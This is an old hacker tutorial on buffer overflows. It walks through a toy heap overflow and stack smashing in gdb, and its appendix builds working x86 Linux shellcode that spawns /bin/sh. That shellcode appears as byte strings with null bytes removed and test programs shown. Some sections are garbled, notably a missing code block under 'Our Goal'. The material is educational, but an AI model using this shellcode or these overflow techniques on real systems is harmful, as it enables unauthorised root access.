Intro

Hello, here I am again, this time I'll let you know what is in fact buffer overflow and how you can detect if some program is vulnerable to buffer overflow exploits. This tutorial has C source code, so if you don't know C you can have some problems in this tutorial, you also need to have some notions on ASM and how to use gdb.

I tried to do the easiest I could, but still this tutorial isn't one of those where you really don't know shit about nothing and when you end it you know all this. This one takes some work to understand, hey it took huge work to write!

A little inside note, like everyone that is reading this lines I like to learn, so some weeks ago I said to myself "Hey what the heck, why not to start reading some texts about buffer overflows, I know how everything work but just superficially", so I just started learning and now I'm trying to pass the knowledge that I gained, to everyone that is interested. So this won't be one of those texts where you'll learn everything, this will be like a walkthrough, like the title says an Introduction, (In the end I'll give you some nice texts). If you have any questions concerning this tutorial post in our message board, if you find any "bug" in this tutorial please email me and I'll correct it. Enjoy.

Exploit?

Well probably everyone knows what an exploit is. But you still got to see that the ones that are entering the security world for the first time probably don't have the idea of what that is, that's why I wrote this tinny section.

So for the ones that don't know an exploit is a program, usually written in C, that exploits some problem that another program have. The exploit will allow you to run arbitrary code that will let you do something that you shouldn't be able to do in your normal status on the system.

Nowadays, most of the exploits are what we call Buffer Overflow Exploits. What's that you ask. Wait because we'll get there. After all, this is the subject of this tutorial.

Another thing you should know is that everyone knows how to use them(how do you think that most of the websites that are defaced?), the script kiddies just go to sites like security focus, packetstorm or fyodor's exploit world, download it and run it, and then got busted. But why doesn't everybody write exploits? Well the problem is that many people doesn't know how to spot some vulnerability in the source code, or even if they can they aren't able to write a exploit. So now that you have an idea of what an exploit is, let's go ahead to the buffer overflow section.

Buffer Overflow after all what's that?

A buffer overflow problem is based in the memory where the program stores it's data. Why's that, you ask. Well because what buffer overflow do is overwrite expecific memory places where should be something you want, that will make the program do something that you want.

Well some of you right now are thinking "WOW, I know how buffer overflow works", but you still don't know how to spot them.

Let's follow a program and try to find and fix the buffer overflow

```
------ Partial code below--------

main(int argc, char **argv) {

char *somevar;
char *important;

somevar = (char *)malloc(sizeof(char)*4);
important = (char *)malloc(sizeof(char)*14);

strcpy(important, "command"); /*This one is the important
variable*/
stcrpy(somevar, argv[1]);


..... Code here ....

}

.... Other functions here ....

------- End Of Partial Code ------
```

So let's say that important variable stores some system command like, let's say "chmod o-r file", and since that file is owned by root the program is run under root user too, this means that if you can send commands to it, you can execute ANY system command. So you start thinking. How the hell can I put something that I want in the important variable. Well the way is to overflow the memory so we can reach it. But let's see variables memory addresses. To do that you need to re-written the code. Check the following code.

--------- Partial Code ----------

```
main (int argc, char **argv) {


char *somevar;
char *important;

somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);

printf("%p\n%p", somevar, important);
exit(0);

rest of code here

}
```

--------- End of Partial Code --------

Well we added 2 lines in the source code and left the rest unchanged. Let's see what does two lines do.

The printf("%p\n%p", somevar, important); line will print the memory addresses for somevar and important variables. The exit(0); will just keep the rest of the program running after all you don't want it for nothing, your goal was to know where is the variables are stored.

After running the program you would get an output like, you will probably not get the same memory addresses:

0x8049700 <----- This is the address of somevar
0x8049710 <----- This is the address of important

As we can see, the important variable is next somevar, this will let us use our buffer overflow skills, since somevar is got from argv[1]. Now, we know that one follow the other, but let's check each memory address so we can have the precise notion of the data storage. To do this let's re-write the code again.

-------- Partial code ---------

```
main(int argc, char **argv) {

char *somevar;
char *important;
char *temp; /* will need anothe r variable */


somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);

strcpy(important, "command"); /*This one is the important
variable*/
stcrpy(str, argv[1]);



printf("%p\n%p\n", somevar, important);
printf("Starting To Print memory address:\n");

temp = somevar; /* this will put temp at the first memory address we want
*/
while(temp < important + 14) {

/* this loop will be broken when we get to the last memory address we
want, last memory address of important variable */

printf("%p: %c (0x%x)\n", temp, *temp, *(unsigned int*)temp);
temp++;

}

exit(0);
```

rest of code here
}
------ End Of partial Code ------

Now let's say that the argv[1] should be in normal use send. So you just type in your prompt:

$ program_name send

You'll get an output like:

0x8049700
0x8049710

Starting To Print memory address:

0x8049700: s (0x616c62)
0x8049701: e (0x616c)
0x8049702: n (0x61) <---- each of this lines represent a memory address
0x8049703: d (0x0)
0x8049704: (0x0)
0x8049705: (0x0)
0x8049706: (0x0)
0x8049707: (0x0)
0x8049708: (0x0)
0x8049709: (0x19000000)
0x804970a: (0x190000)
0x804970b: (0x1900)
0x804970c: (0x19)
0x804970d: (0x63000000)
0x804970e: (0x6f630000)
0x804970f: (0x6d6f6300)
0x8049710: c (0x6d6d6f63)
0x8049711: o (0x616d6d6f)
0x8049712: m (0x6e616d6d)
0x8049713: m (0x646e616d)
0x8049714: a (0x646e61)

0x8049715: n (0x646e)
0x8049716: d (0x64)
0x8049717: (0x0)
0x8049718: (0x0)
0x8049719: (0x0)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)
$

Nice isn't it? You can now see that there exist 12 memory address empty between somevar and important. So let's say that you run the program with a command line like:

$ program_name send----------newcommand

You'll get an output like:

0x8049700
0x8049710
Starting To Print memory address:
0x8049700: s (0x646e6573)
0x8049701: e (0x2d646e65)
0x8049702: n (0x2d2d646e)
0x8049703: d (0x2d2d2d64)
0x8049704: - (0x2d2d2d2d)
0x8049705: - (0x2d2d2d2d)
0x8049706:- (0x2d2d2d2d)
0x8049707: - (0x2d2d2d2d)
0x8049708: - (0x2d2d2d2d)
0x8049709: - (0x2d2d2d2d)
0x804970a: - (0x2d2d2d2d)
0x804970b: - (0x2d2d2d2d)
0x804970c: - (0x2d2d2d2d)
0x804970d: - (0x6e2d2d2d)
0x804970e: - (0x656e2d2d)
0x804970f: - (0x77656e2d)
0x8049710: n (0x6377656e) <--- memory address where important variable starts
0x8049711: e (0x6f637765)
0x8049712: w (0x6d6f6377)
0x8049713: c (0x6d6d6f63)

0x8049714: o (0x616d6d6f)
0x8049715: m (0x6e616d6d)
0x8049716: m (0x646e616d)
0x8049717: a (0x646e61)
0x8049718: n (0x646e)
0x8049719: d (0x64)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)

Hey cool, newcommand got over command. Now it does something you want, instead of something he was supposed to do.

NOTE: Remember sometimes those spaces between somevar and important can have other variables instead of being empty, so check their values and send them to the same address, or the program can crash before getting to the variable that you modified.

Now let's think a little. Why does this happen? As you can see in the source code somevar is declared before important, this will make, most of the times, that somevar will be first in memory. Now, let's check how each one is got. Somevar gets it's value from argv[1], and important gets it from strcpy() function, but the real problem is that important value is assign first so when you assign value to somevar that is before it important can be overwritten. This program could be patched against this buffer overflow switching those two lines, becoming :

```
strcpy(somevar, argv[1]);
strcpy(important, "command");
```

If this was the way that the program was done even if you give an argument that would get into the memory address of important, it will be overwritten by the true command, since after getting somevar, is assign the value command to important.

This kind of buffer overflow, is a heap buffer overflow. Like you probably has seen they are really easy to do in theory but, in the real world, it's not really easy to do them, after all the example I gave was a really dumb program right? It's a real pain in the ass to find those important variables, and also to overflow that variable you need to be able to write to one that is in a lower memory address, most of times all this conditions doesn't get together, that's why we are now gonna talk about stack buffer overflows.

Just a little inside note: In the last paragraph I talked about heap and stack. You probably be wondering what each one is. So here's a brief and easy of understanding definition of each one:

heap - is the space that you reserve for a variable (you access heap when you use malloc() function).

stack - it's the place where is pushed or returned values from a function. When you are trying to overflow the stack you'll try to change the return address, making the code to jump some place in memory where you have put commands that you want to execute.

So let's get into the stack stuff. Here starts the part that most problems gave me and still give. Here we will need to know ASM, know how to handle with gdb (believe me it will start being one of your best friends), still don't give up.

We will talk in Smashing the Stack which consists in a kind of "attack" that will change the return address(RET). Doing this you can return the function to an address where you already had allocate some commands that you want to be executed.

Like in the heap overflow, let's see some source code.

------ Code starts here ------

```
/* Stack Overflow example */

exploit(char *this) {
  char string[20];
  strcpy(string,this);
  printf("%s\n", string);
}
main(int argc, char *argv[]) {
  exploit(argv[1]);
}
```

------ Code ends here -----

Now we will try to call two times the exploit() functions. How we will do this? Well first we need to find some nice addresses. This time let's use gdb. First we compile.

```
$ gcc stack.c -o stack
$ gdb stack
```

GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-suse-linux-gnu"...
(gdb)

This is your prompt now we will disassemble main. To do this we just need to type disassemble (you can also type disas) main hard isn't it?

(gdb) disas main
Dump of assembler code for function main:
0x8048440 : push %ebp
0x8048441 : mov %esp,%ebp
0x8048443 : mov 0xc(%ebp),%eax
0x8048446 : add $0x4,%eax
0x8048449 : mov (%eax),%edx
0x804844b : push %edx
0x804844c : call 0x8048410
0x8048451 : add $0x4,%esp
0x8048454 : mov %ebp,%esp
0x8048456 : pop %ebp
0x8048457 : ret
(Some NOPS here. They stand for No Operation...meaning nothing is done).
End of assembler dump.

Some thinking

As we can see exploit is called at 0x804845c and itself has 0x8048410 as its address.

Back to gdb

(gdb) disas exploit

End of assembler dump.

(gdb)
0x8048410 : push %ebp
0x8048411 : mov %esp,%ebp
0x8048413 : sub $0x14,%esp
0x8048416 : mov 0x8(%ebp),%eax
0x8048419 : push %eax
0x804841a : lea 0xffffffec(%ebp),%eax
0x804841d : push %eax
0x804841e : call 0x8048340
0x8048423 : add $0x8,%esp
0x8048426 : lea 0xffffffec(%ebp),%eax
0x8048429 : push %eax
0x804842a : push $0x80484bc
0x804842f : call 0x8048330
0x8048434 : add $0x8,%esp
0x8048437 : mov %ebp,%esp
0x8048439 : pop %ebp
0x804843a : ret
(gdb) x/3bc 0x80484bc
0x80484bc <_IO_stdin_used+4>: 37 '%' 115 's' 10 '\n'
(gdb)
(gdb) quit
$
back to the prompt

Another stage of little thinking

First you are probably wondering what's x/3bc command is. Well this is the command that let us examine memory.

x/3bc
^^^
|||--- chars
|| --- Binary
|----- define 3 as range

(For more info type in gdb prompt help x/)

I did it because I was wondering what was being pushed into the stack at 0x80484cc , and as you can see is the string we want to print.

Our Goal

}

------- Code ends Here --------

Doing this we will re-write the Return address for 0x0804844c returning the functions to the call exploit again. This will put us in a endless loop. Why we could exploit this program? Well because there was no checking in the length of the string we were sending. So here's an advice if you code something that needs to be secure, always use functions that do length checking, like fgets(), strncpy() instead of gets(), strcpy(), and so on.

---

gdb tip

Wanna see how an exploit affects the vunerable program. Enter in gdb and type.

```
(gdb) exec exploit
(gdb) symbol-file vunerable_program
```

Then you can see what the exploit does, and correct the problems if you are having any.

Final Suggestions

Well we reached the final. Hope this was some help for you... I have in my mind some "upgrades" in this tutorial, since it hasn't everything I wanted to say. But I think it's better to check everything I want to say, instead of saying something that I'm not 100% sure.

If you find something in this tutorial that don't match, please feel free to email me about it.

Reading Suggestions

- Omega Project by Lamagra
- Advanced buffer overflow exploit by Taeho Oh
- Smashing The Stack For Fun And Profit by Aleph One

This 3 texts will give you a huge amount of info that you can need. They helped me...
They can be found at packetstorm.securify.com

Appendix A: Shell Code

This appendix was written for a friend, Predator, which i gratefully thank for his efforts.
Original text is below.

Regards
mailto:predator@beotel.yu
ICQ#: 46043882

I wrote this as part of Ghost Rider buffer overflow tutorial which you can download at
http://blacksun.box.sk

Author: predator
mailto: preedator@hotmail.com
date : 26/07/2000
Shell code

Now I will talk about shell code.Shell code is a char array which consist in machine instruction which are used to spawn shell.Since the program we try exploit doesn't have code which will execute shell,we must write it. For this, you must know a little of assembly,C and x86 structure, Linux is also required. But only C and assembly are really needed. Well lets start with it.

1. Shell code

Usually shell code is written in program as ->

1) char c0de[]={0x90,0x90...};
2) char c0de[]="\x90\x90...";

Both are correct so you can use both.:)).

2. Starting with shell c0de...

------- shell.cpp Code Starts Here ----------

```
void main(){
char *sh[2];
sh[0]="/bin/sh";
sh[1]=NULL;
execve(sh[0],sh,NULL);
}
```

------- shell.cpp Code Ends Here ----------

This program is used to run shell.Why execve if there is a lot of exec function.The answer is simple execve is only exec function that is call with int $0x80 and which is very important to us.

well lets compile this with -static option and run it in gdb.

```
root@scorpion#cc shell.cpp -o shell -static
root@scorpion#gdb shell
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) disass main
Dump of assembler code for function main:
0x80481c0 <main>: push %ebp
0x80481c1 <main+1>: mov %esp,%ebp
```

0x80481c3 <main+3>: sub $0x8,%esp
0x80481c6 <main+6>: movl $0x8073768,0xfffffff8(%ebp)
0x80481cd <main+13>: movl $0x0,0xfffffffc(%ebp)
0x80481d4 <main+20>: push $0x0
0x80481d6 <main+22>:lea 0xfffffff8(%ebp),%eax
0x80481d9 <main+25>: push %eax
0x80481da <main+26>: mov 0xfffffff8(%ebp),%eax
0x80481dd <main+29>: push %eax
0x80481de <main+30>: call 0x804ea70 <__execve>
0x80481e3 <main+35>: add $0xc,%esp
0x80481e6 <main+38>: xor %eax,%eax
0x80481e8 <main+40>: jmp 0x80481f0
0x80481ea <main+42>: lea 0x0(%esi),%esi
0x80481f0 <main+48>: mov %ebp,%esp
0x80481f2 <main+50>: pop %ebp
0x80481f3 <main+51>: ret
0x80481f4 <main+52>: nop
0x80481f5 <main+53>: nop
0x80481f6 <main+54>: nop
0x80481f7 <main+55>: nop
0x80481f8 <main+56>: nop
0x80481f9 <main+57>: nop
0x80481fa <main+58>: nop
0x80481fb <main+59>: nop
0x80481fc <main+60>: nop
0x80481fd <main+61>: nop
0x80481fe <main+62>: nop
0x80481ff <main+63>: nop
End of assembler dump.
(gdb) disass execve
Dump of assembler code for function __execve:
0x804ea70 <__execve>: push %ebx
0x804ea71 <__execve+1>: mov 0x10(%esp,1),%edx
0x804ea75 <__execve+5>: mov 0xc(%esp,1),%ecx
0x804ea79 <__execve+9>: mov 0x8(%esp,1),%ebx
0x804ea7d <__execve+13>: mov $0xb,%eax
0x804ea82 <__execve+18>: int $0x80
0x804ea84 <__execve+20>: pop %ebx
0x804ea85 <__execve+21>: cmp $0xfffff001,%eax
0x804ea8a <__execve+26>: jae 0x804ee40 <__syscall_error>
0x804ea90 <__execve+32>: ret
End of assembler dump.
(gdb) quit

Well lets look in main:)All function start from there

main -> push %ebp
main+1 ->movl %esp,%ebp
This is standard procedure in all function. First save %ebp and then move %esp to %ebp making %ebp the new frame pointer.

main+3 -> sub $0x8,%esp
sub %esp with 0x8 because 2 char pointer are 8 bytes long 2*4=8:))

main+6 -> movl 0x8073768,0xfffffff8(%ebp)
same as sh[0]="/bin/sh";

main+13 -> movl $0x0,0xfffffffc(%ebp)
same as sh[1]=NULL;

main+20 -> pushl $0x0
the call of execve starts here,we are pushing arguments of function in reverse order on stack(x86 structure works upside-down).

main+22 -> lea 0xfffffff8(%ebp),%eax
lea is load efective address,we load address of sh into the array of pointers

main+25 -> pushl %eax
we push address on stack,2nd argument(sh)

main+26 -> movl 0xfffffff8(%ebp),%eax ...
we have address of /bin/sh in 0xfffffff8(%ebp) look at main+6 and then push it on stack as sh[0]

Now lets take a look in execve function

__execve+1 mov 0x10(%esp,1),%edx
We must have address of 3rd argument in %edx(NULL was 3rd argument)

__execve+5 mov 0xc(%esp,1),%ecx
We must have address of sh in %ecx(sh was 2nd argument)

__execve+9 mov 0x8(%esp,1),%ebx
We must have address of "/bin/sh" in %ebx(sh[0] 1st argument)

__execve+13 mov $0xb,%eax
0xb is system call for execve

__execve+18 int $0x80
switching to kernel mode

Things to do->

We must have address of NULL in %edx
We must have address of sh in %ecx
We must have address of "/bin/sh" in %ebx
We must have 0xb in %eax
We must call int $0x80

Well we need the exact address in memory of our "/bin/sh" string. We can simple put "/bin/sh" after call which will push EIP on stack,and pushed EIP should be address of our string...Look at pic 0.1

[JJaaaaaaaaaaaaaaaaaaaaaaaaCCssssss]
|^_____^|
|_____|

on beginning of code we will put JMP instruction which will jmp to call,and call will save EIP and go to offset of a.EIP will be our "/bin/sh" address

a-stands for code
J-stands for JMP
C-stands for CALL
s-stands for "/bin/sh"

well lets write this to asm->

---------- shell1.cpp Code Starts Here ----------
void main(){
__asm__("jmp 0x1e \n" //jmp to call
"popl %esi \n" //get seved EIP to esi,now we have /bin/sh address
"movl %esi,0x8(%esi) \n" //address of sh behind /bin/sh
"movl $0x0,0xc(%esi) \n" //NULL as 3rd argument goes after sh address
"movb $0x0,0x7(%esi) \n" //terminate /bin/sh with '\0'
"movl %esi,%ebx \n" //address of sh[0] in %ebx

"leal %0x8(%esi),%ecx \n" //address of sh in %ecx(2nd argument)
"leal %0xc(%esi),%edx \n" //address of NULL in %edx(3rd argument)
"movl $0xb,%eax \n" //sys call of execve in %eax
" int $0x80 \n" //kernel mode
" call -0x23 \n" //call popl %esi
" .string \"/bin/sh\" \n"); //our string
}
---------- shell1.cpp Code Ends Here ----------

Lets compile this

root@scorpion#cc shel1.cpp -o shell1
root@scorpion#gdb shell1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) x/bx main+3 <-------jmp start here
0x8048733 : 0xeb
(gdb)
0x8048734 : 0x1e
(gdb)
0x8048735 : 0x5e
(gdb)
0x8048736 : 0x89
(gdb)
0x8048737 : 0x76
(gdb)
0x8048738 : 0x08
(gdb)
0x8048739 : 0xc6
(gdb)
0x804873a : 0x46
(gdb)
0x804873b : 0x07
(gdb)
0x804873c : 0x00
(gdb)
0x804873d : 0xc7
(gdb)

0x804873e : 0x46
(gdb)
0x804873f : 0x0c
(gdb)
0x8048740 : 0x00
(gdb)
0x8048741 : 0x00
(gdb)
0x8048742 : 0x00
(gdb)
0x8048743 : 0x00
(gdb)
0x8048744 : 0x89
(gdb)
0x8048745 : 0xf3
(gdb)
0x8048746 : 0x8d
(gdb)
0x8048747 : 0x4e
(gdb)
0x8048748 : 0x08
(gdb)
0x8048749 : 0x8d
(gdb)
0x804874a : 0x56
(gdb)
0x804874b : 0x0c
(gdb)
0x804874c : 0xb8
(gdb)
0x804874d : 0x0b
(gdb)
0x804874e : 0x00
(gdb)
0x804874f : 0x00
(gdb)
0x8048750 : 0x00
(gdb)
0x8048751 : 0xcd
(gdb)
0x8048752 : 0x80
(gdb)
0x8048753 : 0xe8
(gdb)
0x8048754 : 0xdd
(gdb)

0x8048755 : 0xff
(gdb)
0x8048756 : 0xff
(gdb)
0x8048757 : 0xff
(gdb)
0x8048758 : 0x2f
(gdb)
0x8048759 : 0x62
(gdb)
0x804875a : 0x69
(gdb)
0x804875b : 0x6e
(gdb)
0x804875c : 0x2f
(gdb)
0x804875d : 0x73
(gdb)
0x804875e : 0x68 <--------- c0de ends here
(gdb)quit

lets write our shell code->

---------- shell2.cpp Code Starts Here ----------

```
char c0de[]=
"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00"
"\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb8\x0b\x00\x00\x00"
"\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(){
char buf[5];
long *ret=(long *)(buf+12);
*ret=(long)c0de;
}
```

---------- shell2.cpp Code Ends Here ----------

root@scorpion#cc shell2.cpp -o shell2
root@scorpion#./shell2
sh-2.03

This works... "\x2f\x62\x69\x6e\x2f\x73\x68" is same that if you wrote "/bin/sh" (this is at end of code) Take a look at this shell code...There is \x00 or '\0' at some places. As we

know '\0' is end of string. So strcpy or other string function will copy it while they find '\0' and our shell code wouldn't be copied all. Lets get rid of this '\0'

change this for this

---

xorl %eax,%eax (this we will add)
movb $0x0,0x7(%esi) movb %al,0x7(%esi)
movl $0x0,0xc(%esi) movl %eax,0xc(%esi)
movl $0xb,$eax movb %0xb,%al

---

rewrite c0de with this changes and we get this

---------- shell3.cpp Code Starts Here ----------

```
void main(){
__asm__("jmp 0x18 \n"
"popl %esi \n"
"movl %esi,0x8(%esi) \n"
"xorl %eax,%eax \n"
"movb %al,0x7(%esi) \n"
"movl %eax,0xc(%esi) \n"
"movl %esi,%ebx \n"
"leal 0x8(%esi),%ecx \n"
"leal 0xc(%esi),%edx \n"
"movb $0xb,%al \n"
"int $0x80 \n"
"call -0x1d \n"
".string \"/bin/sh\" \n");
}
```

---------- shell3.cpp Code Ends Here ----------

compile like this

```
root@scorpion#cc shell3.cpp -o shell3
root@scorpion#gdb shell3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
```

GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) x/bx main+3 <---------jmp strats here
0x80483c3 : 0xeb
(gdb)
0x80483c4 : 0x18
(gdb)
0x80483c5 : 0x5e
(gdb)
0x80483c6 : 0x89
(gdb)
0x80483c7 : 0x76
(gdb)
0x80483c8 : 0x08
(gdb)
0x80483c9 : 0x31
(gdb)
0x80483ca : 0xc0
(gdb)
0x80483cb : 0x88
(gdb)
0x80483cc : 0x46
(gdb)
0x80483cd : 0x07
(gdb)
0x80483ce : 0x89
(gdb)
0x80483cf : 0x46
(gdb)
0x80483d0 : 0x0c
(gdb)
0x80483d1 : 0x89
(gdb)
0x80483d2 : 0xf3
(gdb)
0x80483d3 : 0x8d
(gdb)
0x80483d4 : 0x4e
(gdb)
0x80483d5 : 0x08
(gdb)
0x80483d6 : 0x8d
(gdb)

0x80483d7 : 0x56
(gdb)
0x80483d8 : 0x0c
(gdb)
0x80483d9 : 0xb0
(gdb)
0x80483da : 0x0b
(gdb)
0x80483db : 0xcd
(gdb)
0x80483dc : 0x80
(gdb)
0x80483dd : 0xe8
(gdb)
0x80483de : 0xe3
(gdb)
0x80483df : 0xff
(gdb)
0x80483e0 : 0xff
(gdb)
0x80483e1 : 0xff
(gdb)
0x80483e2 : 0x2f
(gdb)
0x80483e3 : 0x62
(gdb)
0x80483e4 : 0x69
(gdb)
0x80483e5 : 0x6e
(gdb)
0x80483e6 : 0x2f
(gdb)
0x80483e7 : 0x73
(gdb)
0x80483e8 : 0x68 <---------c0de ends here
(gdb)quit

rewrite program:

------- ------- shell4.cpp Code Starts Here ----------
char c0de[]=
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f"

"\x62\x69\x6e\x2f\x73\x68";

void main(){
char buf[5];
long *ret=(long *)(buf+12);
*ret=(long)c0de;
}
---------- shell4.cpp Code Ends Here ----------
compile shell4.cpp
root@scorpion#cc shell4.cpp -o shell4
root@scorpion#./shell4
sh-2.03#

It works...and it is smaller then our previous c0de and without 0x00 or \x00 or '\0' so strcpy(),sprintf() will copy it at all...

Here is simple program to print Stack pointer of current program:

------- sp.cpp Code Stars Here----------
unsigned long get_esp(){
__asm__(" movl %esp,%eax \n");
}

void main(){
printf(" Stack pointer is 0x%x%\n",get_esp());
}
------- sp.cpp Code Ends Here----------
root@scorpion#cc sp.cpp -o sp
root@scoprion#./sp
Stack pointer is 0xbffff910 <--- your output will be other address or same
root@scorpion#

Text was writen using vi and joe text editors
-EOF-